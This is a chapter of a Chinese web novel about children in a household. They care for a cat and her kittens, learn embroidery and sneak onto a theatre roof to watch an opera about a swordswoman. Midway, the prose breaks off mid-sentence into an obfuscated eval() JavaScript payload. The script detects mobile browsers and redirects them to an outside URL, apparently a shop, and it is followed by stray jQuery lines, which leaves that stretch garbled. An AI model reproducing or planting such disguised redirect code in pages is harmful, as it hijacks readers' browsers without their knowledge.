入了十月,天一下子冷了下来,已经有点初冬的样子了。
花花早就断了奶,年年和安鲤商量着,仍是早晚送两顿,送到明年开春,马上入冬了,给花花养养肉。
花花实在是养得好,断奶后像皮球一样胖起来,毛发也光滑发亮,配上三花的皮色和开的很漂亮的小脸,安鲤说,这是话本里才有的,带着五个孩子的貌美寡妇,年年很赞同,我们花花本就是极漂亮的小猫啊。
小猫咪们如今淘气的不得了,看见人过去,小爪子勾勾着扑上来,捧着人的手当猎物,要咬,要叼着,要不撒口。
年年最近迷上了绣花,开始只是看着安姨织袜子做些粗活,后来买画本子的时候一起买了一本讲绣法的书,开始在帕子上,在刚织好的白袜上绣花样。
“这是荷叶吗”安鲤捧着手绢,觉得这荷叶翘个尾巴怪怪的。
“这是鸳鸯!”
哦,看错了看错了,“那这个一定是另一只鸳鸯。”
安鲤指着旁边粉粉白白的一团,很笃定的说。
“这是荷花!”
彻底惹毛了年年,“碰!”房门在安鲤面前被关上了。
年年的脾气是越来越大了。
家里四间房,之前朝岁年年还没来的时候,一直都是一人一间,剩下那个做库房,放些杂物。
后来就是江鹤一间,明川一间,朝岁一间,年年和安鲤一起住最大的一间。
现在,年年自己抱着被子占了朝岁的房间,不得已,托人打了个小床,朝岁和安鲤两个师姐弟住在一起。
年年为什么不和安鲤一起住了呢?
因为安鲤打呼噜,不是那种惊天地泣鬼神,男人喝完酒醉醺醺,摊在床上长着大嘴,隔壁都能听见的噪音袭击。
年年特意观察过,安鲤是特别忙特别累,大概是白天上学堂,晚上练武的时候才开始打呼噜的,与其说是打呼噜,更像是重重的呼吸声,一听就知道睡得很香的样子,年年翻个身,离得稍微远一点也就听不到了。
可安鲤睡觉不老实啊,年年刚把她翻过去,安鲤做个梦翻个身就又凑到年年面前,把年年当抱枕,肉嘟嘟软乎乎,睡得更香了。
而且白天上学堂,安鲤早上很早就被江鹤叫醒扎马步了,两个小姑娘睡一张床,安鲤犯驴抱着被子不撒手的时候难免会吵醒年年,时间久了,年年宣布要跟她分开。
就这样,朝岁被赶出去了。
朝岁有时候觉得,自己是这两个小姑娘的家生仆人。
年年就不用说了,自己的亲妹妹,使唤自己是天经地义的事情。
安鲤更是有理,自己可是大师姐,首徒!差遣小师弟难道不是顺手的事情吗。
朝岁偶尔唾骂自己,怎么耳根子就这么软,让这么两个小姑娘拽着走,晚上临睡前,再对天发誓。明天!明天一定说不!
“师弟!走啊,去给花花送饭去。”
手比脑子快,反应过来时,已经端着肉到猫窝了。
小猫咪们也欺负他,花花还在埋头吃肉的时候,一个接一个的起跑冲刺挂在了朝岁身上,像安鲤一样噔噔噔的往上爬,被朝岁手忙脚乱的摘下来,这个摘下来了,那个就又上去了,
安鲤笑嘻嘻的看着,谁也不帮。
在糟蹋了三张帕子两双袜子之后,年年终于认识到,得找个老师。
明川托人打听的,江鹤跑去南方买了最好的丝线和布匹做拜师礼,请了城里最好绣房的绣娘,收了年年这个徒弟。
年年也忙了起来。
算下来,家里就江鹤一个闲人。
又过了一个多月,城西的戏班子排了新戏,特意从外地请了名角儿来唱,说是新戏,其实还是十几年前青山女侠一剑封妖域的老故事,新词填旧曲,大家伙儿也热热场子,烘一烘快过年的热闹气。
这简直是最佳的安鲤诱捕器。
趁着学堂一月两日的休沐,明川一大早上就出门去了,安鲤带着朝岁听着声儿就来了。年年兴趣不大,在家继续研究她的花样子,最近已经能成功的绣支梅花出来了。
到了戏班子,傻眼了,钱不够。
安鲤根本就没有零花钱的概念,家里的钱都归明川管。想吃什么,跟江鹤出门溜达一圈,就能吃到。想要什么,到哥哥面前提几次撒撒娇,过几日准会出现在安鲤的床头。
不是不知道买东西要花钱,而是从来没有为钱发愁过。
安鲤皱着鼻尖,眼巴巴的扶着戏院大门往里望,戏台敲锣打鼓的热闹声遥遥传来,掺杂着跑堂端茶倒水的应和声。
朝岁探口气,认命的从怀中掏出了个小荷包,这还是娘在肇州城的时候塞给他的,荷包不大,钱也不多。
今天给年年买只布老虎,明天安鲤背着哥哥又买了个画本子,都是花的小荷包,朝岁干脆将荷包整个翻过来,零碎的铜板掉在地上清脆的响,朝岁一个一个的数着。
“喏,十个铜板,刚刚好,买张票进去看吧。”
朝岁仔细地把荷包又塞回内衫最里层,手上的铜板却没人接。
“另十个铜板呢?”
“什么另十个铜板?”
“你不看吗?”
“我本来也不感兴趣,你看完了跟我讲讲就行。”
不能这样,安鲤推回了他拿钱的手。
办法总比困难多,拽着朝岁绕着高高的戏院外墙跑了两圈。
就这儿吧,没人,安全。
“你得站稳,扶住我。”
“什么?”
不给朝岁反应的机会,小姑娘就已经起跳蹦到了他身上,还没来得及面红耳赤,安鲤就蹬上了他的腰,他面前漆黑一片,柔软的衣服压着他的脸,随呼吸起伏飘荡,下一秒,小姑娘的脚站上了他的肩膀。
安鲤努力平稳着晃晃悠悠的身子,站在肩膀上和站在地上还是不一样,不敢垫脚,只能最大程度伸展着往上够,第一次觉得手臂怎么那么短,就差那么一点点。
“师弟,师弟?”
“朝岁!”
朝岁终于回神,按着安鲤的指示,踮起脚尖,扶稳她的腿。
安鲤这才将将摸到房檐,手脚并用的往上爬。
“来吧,我拽着你,上来吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029512|194520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>确保自己安全的趴在房檐上,安鲤调头,尽量往下趴,一只手紧紧抓住瓦当边缘,侧着身子,歪着脑袋,手伸的长长的。
朝岁握住软绵绵的小手,也不敢太用力,找了一颗槐树,往后一踹,借着树干给的反作用力,张手岔腿,收紧核心,学着猫咪的样子往上扑,直到手下摸到绿瓦,安鲤抱住他的一只手臂,用力向上提,这么一拉,两个人都在房檐上了。
安鲤还没松手,底下就传来戏院里的小厮端水送茶的吵闹声,朝岁一着急,拿外衫将两人都裹了,伏在屋顶上不敢动。
昏暗中,安鲤滴溜溜转着眼睛,聚精会神听着动静。
确保人都走了,才掀开衣服大口喘着气,环视四周找了个偷看的好地方。
戏台上,女侠身穿大红色戏服,腰间别着宝剑,头上立着两个尖尖长长的角,背插军旗,跳耍长剑,很是威武。
其实离得这么远,唱词是听不太清的。
安鲤看着那人干净利落的翻身打转,接连几个转身之下剑指苍天,遇神杀神,佛挡杀佛,眼睛恨不能黏在戏台上,心咕咚咕咚地跳。
看到一半,还是被人赶下来,在戏院门口,买了两个巴掌大的木剑,和师弟一人一个,宝贝的揣在怀里。
冬天,天黑的早。
安鲤归家的时候,北斗星悬指方向,家家户户早就亮着油灯,街上仅有两三个醉汉,也不知能否找到家。
自知回来晚了,悄悄探头往屋里看。
“进来吧,明川还没回来呢。”
安鲤这才放下心,大摇大摆的走进来。
又回到咋咋呼呼的孩子样,张牙舞爪的给江鹤和年年演戏,说女侠是多威风,唱词是多嘹亮,说着说着,转起身摆起样来,好像自己就是那戏台上的人物。
江鹤被吵的头疼,赶紧打发了她去脱了外套换衣服。
“一会儿明川回来,看你怎么解释。”直接的,一针见血的。
看戏疯玩这事,江鹤知道,朝岁知道,年年知道,大家都能知道,唯独明川知道,让安鲤心里惴惴不安,明川是正儿八经的大哥哥,面对他,安鲤总有些心虚在。
其实明川也未必不知道,就算撞到眼前,也就是揉揉小姑娘的脸,很偏心的说,不是我们鲤鲤的错。
说的安鲤都有些惭愧,所以,还是不知道的好。
安鲤跑远了,江鹤坐在摇椅上,小孩儿太吵,话本也看不下去,听着安鲤胡言乱语的话,晃着晃着就想到了以前。
傻姑娘,都是假的。
明川去给母亲烧纸了,天高路远,家里还有三个孩子,总要留个大人,江鹤就没去。
下了牛车,走在回家的路上,天竟然又下起雪来。
这是今年的初雪。
雪下的安静优雅,犹如春日的柳絮自天倾倒。片片相隔,暗夜的仙灵矜持的落在人的衣服上,洇湿成芝麻大小的细点。
明川长长的呼气,水气凝结白茫茫一片,落在围巾上,很快冻住。
瑞雪兆丰年。
明川突然想到小青山。
明年应该会是好收成。